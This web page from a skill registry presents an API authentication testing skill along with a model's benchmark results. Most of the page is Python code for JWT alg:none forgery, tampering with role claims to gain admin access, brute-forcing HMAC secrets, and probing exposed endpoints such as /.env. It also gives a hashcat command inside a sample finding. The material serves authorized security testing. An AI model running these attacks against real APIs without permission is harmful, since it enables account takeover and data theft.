Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Tests API authentication mechanisms for weaknesses including broken token validation, missing authentication on endpoints, weak password policies, credential stuffing susceptibility, token leakage in URLs or logs, and session management flaws. The tester evaluates JWT implementation, API key handling, OAuth flows, and session token entropy to identify authentication bypasses. Maps to OWASP API2:2023 Broken Authentication. Activates for requests involving API authentication testing, token validation assessment, credential security testing, or API auth bypass.
.claude/skills/testing-api-authentication-weaknesses/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-02 | ✗→✓ | ▲ Improved | — | — |
| case-04 | ✗→✗ | = Same ✗ | — | — |
| case-19 | ✗→✗ | = Same ✗ | — | — |
| case-13 | ✗→✗ | = Same ✗ | — | — |
| case-06 | ✗→✗ | = Same ✗ | — | — |
Do not use without written authorization. Authentication testing involves attempting to bypass security controls.
requests, PyJWT, and jwt librariespythonimport requests import json BASE_URL = "https://target-api.example.com/api/v1" # Probe the API to identify authentication mechanisms auth_indicators = { "jwt_bearer": False, "api_key_header": False, "api_key_query": False, "basic_auth": False, "oauth2": False, "session_cookie": False, "custom_token": False, } # Test 1: Check unauthenticated access resp = requests.get(f"{BASE_URL}/users/me") print(f"Unauthenticated: {resp.status_code}") if resp.status_code == 200: print("[CRITICAL] Endpoint accessible without authentication") # Test 2: Check WWW-Authenticate header if "WWW-Authenticate" in resp.headers: scheme = resp.headers["WWW-Authenticate"] print(f"Auth scheme advertised: {scheme}") if "Bearer" in scheme: auth_indicators["jwt_bearer"] = True elif "Basic" in scheme: auth_indicators["basic_auth"] = True # Test 3: Login and examine tokens login_resp = requests.post(f"{BASE_URL}/auth/login", json={"username": "testuser@example.com", "password": "TestPass123!"}) if login_resp.status_code == 200: login_data = login_resp.json() # Check for JWT tokens for key in ["token", "access_token", "jwt", "id_token"]: if key in login_data: token = login_data[key] if token.count('.') == 2: auth_indicators["jwt_bearer"] = True print(f"JWT found in response field: {key}") # Check for refresh tokens for key in ["refresh_token", "refresh"]: if key in login_data: print(f"Refresh token found in field: {key}") # Check for session cookies for cookie in login_resp.cookies: print(f"Cookie set: {cookie.name} = {cookie.value[:20]}...") if "session" in cookie.name.lower(): auth_indicators["session_cookie"] = True print(f"\nAuthentication mechanisms detected: {[k for k,v in auth_indicators.items() if v]}")
python# Test all endpoints without authentication endpoints = [ ("GET", "/users"), ("GET", "/users/me"), ("GET", "/users/1"), ("GET", "/admin/users"), ("GET", "/admin/settings"), ("GET", "/health"), ("GET", "/metrics"), ("GET", "/debug"), ("GET", "/actuator"), ("GET", "/actuator/env"), ("GET", "/swagger.json"), ("GET", "/api-docs"), ("GET", "/graphql"), ("POST", "/graphql"), ("GET", "/config"), ("GET", "/internal/status"), ("GET", "/.env"), ("GET", "/status"), ("GET", "/info"), ("GET", "/version"), ] print("Unauthenticated Endpoint Scan:") for method, path in endpoints: try: resp = requests.request(method, f"{BASE_URL}{path}", timeout=5) if resp.status_code not in (401, 403): content_preview = resp.text[:100] if resp.text else "empty" print(f" [OPEN] {method} {path} -> {resp.status_code}: {content_preview}") except requests.exceptions.RequestException: pass
pythonimport base64 import json import hmac import hashlib def decode_jwt_parts(token): """Decode JWT header and payload without verification.""" parts = token.split('.') if len(parts) != 3: return None, None def pad_base64(s): return s + '=' * (4 - len(s) % 4) header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0]))) payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1]))) return header, payload # Analyze the JWT token token = login_data.get("access_token", "") header, payload = decode_jwt_parts(token) print(f"JWT Header: {json.dumps(header, indent=2)}") print(f"JWT Payload: {json.dumps(payload, indent=2)}") # Security checks issues = [] # Check 1: Algorithm if header.get("alg") == "none": issues.append("CRITICAL: Algorithm set to 'none' - token signature not verified") if header.get("alg") in ("HS256", "HS384", "HS512"): issues.append("INFO: Symmetric algorithm used - check for weak/default secrets") # Check 2: Expiration if "exp" not in payload: issues.append("HIGH: No expiration claim (exp) - token never expires") else: import time exp_time = payload["exp"] ttl = exp_time - time.time() if ttl > 86400: issues.append(f"MEDIUM: Token TTL is {ttl/3600:.0f} hours - excessively long") # Check 3: Sensitive data in payload sensitive_fields = ["password", "ssn", "credit_card", "secret", "private_key"] for field in sensitive_fields: if field in payload: issues.append(f"HIGH: Sensitive field '{field}' in JWT payload") # Check 4: Missing claims expected_claims = ["iss", "aud", "exp", "iat", "sub"] missing = [c for c in expected_claims if c not in payload] if missing: issues.append(f"MEDIUM: Missing standard claims: {missing}") # Check 5: Key ID if "kid" in header: kid = header["kid"] # Test for path traversal in kid issues.append(f"INFO: Key ID (kid) present: {kid} - test for injection") for issue in issues: print(f" [{issue.split(':')[0]}] {issue}")
python# Attack 1: Remove signature (alg: none) def forge_none_algorithm(token): """Create a token with alg:none to bypass signature verification.""" parts = token.split('.') header = json.loads(base64.urlsafe_b64decode(parts[0] + '==')) header['alg'] = 'none' new_header = base64.urlsafe_b64encode( json.dumps(header).encode()).decode().rstrip('=') # Variations of the none algorithm return [ f"{new_header}.{parts[1]}.", f"{new_header}.{parts[1]}.{parts[2]}", f"{new_header}.{parts[1]}.e30", ] # Attack 2: Modify claims without re-signing def forge_payload(token, modifications): """Modify payload claims and test if server validates signature.""" parts = token.split('.') payload = json.loads(base64.urlsafe_b64decode(parts[0] + '==')) payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '==')) payload_data.update(modifications) new_payload = base64.urlsafe_b64encode( json.dumps(payload_data).encode()).decode().rstrip('=') return f"{parts[0]}.{new_payload}.{parts[2]}" # Attack 3: Brute force weak HMAC secrets COMMON_JWT_SECRETS = [ "secret", "password", "123456", "jwt_secret", "supersecret", "key", "test", "admin", "changeme", "default", "your-256-bit-secret", "my-secret-key", "jwt-secret", "s3cr3t", "secret123", "mysecretkey", "apisecret", ] def brute_force_jwt_secret(token): """Try common secrets against HMAC-signed JWTs.""" parts = token.split('.') header = json.loads(base64.urlsafe_b64decode(parts[0] + '==')) if header.get('alg') not in ('HS256', 'HS384', 'HS512'): print("Not an HMAC token, skipping brute force") return None signing_input = f"{parts[0]}.{parts[1]}".encode() signature = parts[2] hash_func = { 'HS256': hashlib.sha256, 'HS384': hashlib.sha384, 'HS512': hashlib.sha512 }[header['alg']] for secret in COMMON_JWT_SECRETS: expected_sig = base64.urlsafe_b64encode( hmac.new(secret.encode(), signing_input, hash_func).digest() ).decode().rstrip('=') if expected_sig == signature: print(f"[CRITICAL] JWT secret found: '{secret}'") return secret print("No common secrets matched - consider using hashcat/john for extended brute force") return None # Test all attacks none_tokens = forge_none_algorithm(token) for none_token in none_tokens: resp = requests.get(f"{BASE_URL}/users/me", headers={"Authorization": f"Bearer {none_token}"}) if resp.status_code == 200: print(f"[CRITICAL] alg:none bypass successful") # Test privilege escalation via claim modification admin_token = forge_payload(token, {"role": "admin", "is_admin": True}) resp = requests.get(f"{BASE_URL}/admin/users", headers={"Authorization": f"Bearer {admin_token}"}) if resp.status_code == 200: print("[CRITICAL] JWT claim modification accepted without signature validation") brute_force_jwt_secret(token)
python# Test 1: Token reuse after logout logout_resp = requests.post(f"{BASE_URL}/auth/logout", headers={"Authorization": f"Bearer {token}"}) print(f"Logout: {logout_resp.status_code}") # Try to use the token after logout post_logout_resp = requests.get(f"{BASE_URL}/users/me", headers={"Authorization": f"Bearer {token}"}) if post_logout_resp.status_code == 200: print("[HIGH] Token still valid after logout - no server-side revocation") # Test 2: Token reuse after password change # (requires changing password and then testing old token) # Test 3: Refresh token rotation refresh_token = login_data.get("refresh_token") if refresh_token: # Use refresh token refresh_resp = requests.post(f"{BASE_URL}/auth/refresh", json={"refresh_token": refresh_token}) new_tokens = refresh_resp.json() # Try to reuse the same refresh token (should fail if rotation is implemented) reuse_resp = requests.post(f"{BASE_URL}/auth/refresh", json={"refresh_token": refresh_token}) if reuse_resp.status_code == 200: print("[HIGH] Refresh token reuse allowed - no rotation implemented") # Test 4: Token in URL (leakage risk) resp = requests.get(f"{BASE_URL}/users/me?token={token}") if resp.status_code == 200: print("[MEDIUM] Token accepted in query parameter - may leak in logs/referrer")
python# Test password policy enforcement on registration/change endpoints weak_passwords = [ "a", # Too short "password", # Common password "12345678", # Numeric only "abcdefgh", # Alpha only, no complexity "Password1", # Meets basic complexity but is common "", # Empty " ", # Whitespace ] for pwd in weak_passwords: resp = requests.post(f"{BASE_URL}/auth/register", json={"email": f"test_{hash(pwd)%9999}@example.com", "password": pwd, "name": "Test User"}) if resp.status_code in (200, 201): print(f"[WEAK POLICY] Password accepted: '{pwd}'") # Test account enumeration via login response differences valid_email = "testuser@example.com" invalid_email = "nonexistent_user_xyz@example.com" resp_valid = requests.post(f"{BASE_URL}/auth/login", json={"username": valid_email, "password": "wrongpassword"}) resp_invalid = requests.post(f"{BASE_URL}/auth/login", json={"username": invalid_email, "password": "wrongpassword"}) if resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code: print(f"[MEDIUM] Account enumeration possible:") print(f" Valid user: {resp_valid.status_code} - {resp_valid.text[:100]}") print(f" Invalid user: {resp_invalid.status_code} - {resp_invalid.text[:100]}")
| Term | Definition | |------|------------| | Broken Authentication | OWASP API2:2023 - weaknesses in authentication mechanisms that allow attackers to assume identities of legitimate users | | JWT (JSON Web Token) | Self-contained token format with header.payload.signature structure, used for stateless API authentication | | Token Revocation | Server-side mechanism to invalidate tokens before their expiration, critical for logout and password change | | Credential Stuffing | Automated attack using leaked username/password pairs against authentication endpoints | | Account Enumeration | Determining valid usernames through different error messages or response times for valid vs invalid accounts | | Refresh Token Rotation | Security practice where each use of a refresh token generates a new one, preventing token reuse attacks |
Context: A SaaS platform uses JWT tokens for API authentication. The JWT is issued upon login and used for all subsequent API calls. A refresh token mechanism is also implemented.
Approach:
/health and /metrics endpoints are accessible without authenticationPitfalls:
## Finding: JWT HMAC Secret Brute-Forceable and Token Not Revocable
**ID**: API-AUTH-001
**Severity**: Critical (CVSS 9.1)
**OWASP API**: API2:2023 - Broken Authentication
**Affected Components**:
- POST /api/v1/auth/login (token issuance)
- All authenticated endpoints (token validation)
- POST /api/v1/auth/logout (ineffective)
**Description**:
The API uses HS256-signed JWT tokens with a brute-forceable secret
("company-jwt-secret-2023"). An attacker who discovers this secret can
forge tokens for any user with any role, including admin. Additionally,
tokens are not revocable - logout does not invalidate the token server-side,
and the 7-day expiration means stolen tokens remain valid for extended periods.
**Attack Chain**:
1. Capture any valid JWT from authenticated session
2. Brute force the HMAC secret using hashcat: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
3. Secret recovered in 3 minutes: "company-jwt-secret-2023"
4. Forge admin JWT: modify "role" claim to "admin", re-sign with discovered secret
5. Access admin endpoints: GET /api/v1/admin/users returns all 50,000 user accounts
**Remediation**:
1. Replace HS256 with RS256 using a 2048-bit RSA key pair
2. Use a cryptographically random secret of at least 256 bits if HMAC must be used
3. Implement token blacklisting using Redis for logout and password change events
4. Reduce token TTL to 15 minutes with refresh token rotation
5. Add `iss` and `aud` claims validation to prevent token misuse across services| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted. The headline lift of +5 percentage points is the difference between those two pass rates over the 22 comparable cases.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.